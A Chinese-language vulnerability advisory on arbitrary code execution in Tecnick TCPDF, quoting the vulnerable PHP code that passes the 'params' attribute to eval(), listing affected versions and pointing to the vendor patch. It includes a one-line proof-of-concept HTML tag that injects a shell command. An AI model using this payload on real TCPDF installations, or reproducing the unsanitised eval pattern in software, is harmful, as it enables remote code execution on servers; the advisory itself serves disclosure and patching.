TCPDF params属性任意代码执行漏洞

受影响系统:

Tecnick TCPDF 4.9.5
Tecnick TCPDF 4.5.036

不受影响系统:

Tecnick TCPDF 4.9.006

描述:

TCPDF是用于生成PDF文档的开源PHP类。

TCPDF回调元素可以注入到HTML代码中,而eval()语句中未经执行任何过滤便使用params属性解析了回调元素,这可能导致注入并执行恶意代码。以下是tcpdf.php文件的15421行的有漏洞代码段:

case ‘tcpdf’: {
  // NOT HTML: used to call TCPDF methods
  if (isset($tag[‘attribute’][‘method’])) {
    $tcpdf_method = $tag[‘attribute’][‘method’];
    if (method_exists($this, $tcpdf_method)) {
      if (isset($tag[‘attribute’][‘params’]) AND
         (!empty($tag[‘attribute’][‘params’]))) {

        eval(‘$params = array(‘.$this->unhtmlentities(
          $tag[‘attribute’][‘params’]).’);’);

        call_user_func_array(array($this, $tcpdf_method),
          $params);
      } else {
        $this->$tcpdf_method();
      }
      $this->newline = true;
    }
  }
}

<*来源:Matthias Hecker
  
  链接:
http://marc.info/?l=full-disclosure&m=127070398703800&w=2
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<tcpdf method="Rect" params=");echo `id`;die(" />

建议:

厂商补丁:

Tecnick
——-
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.tcpdf.org/

发表评论?

0 条评论。

发表评论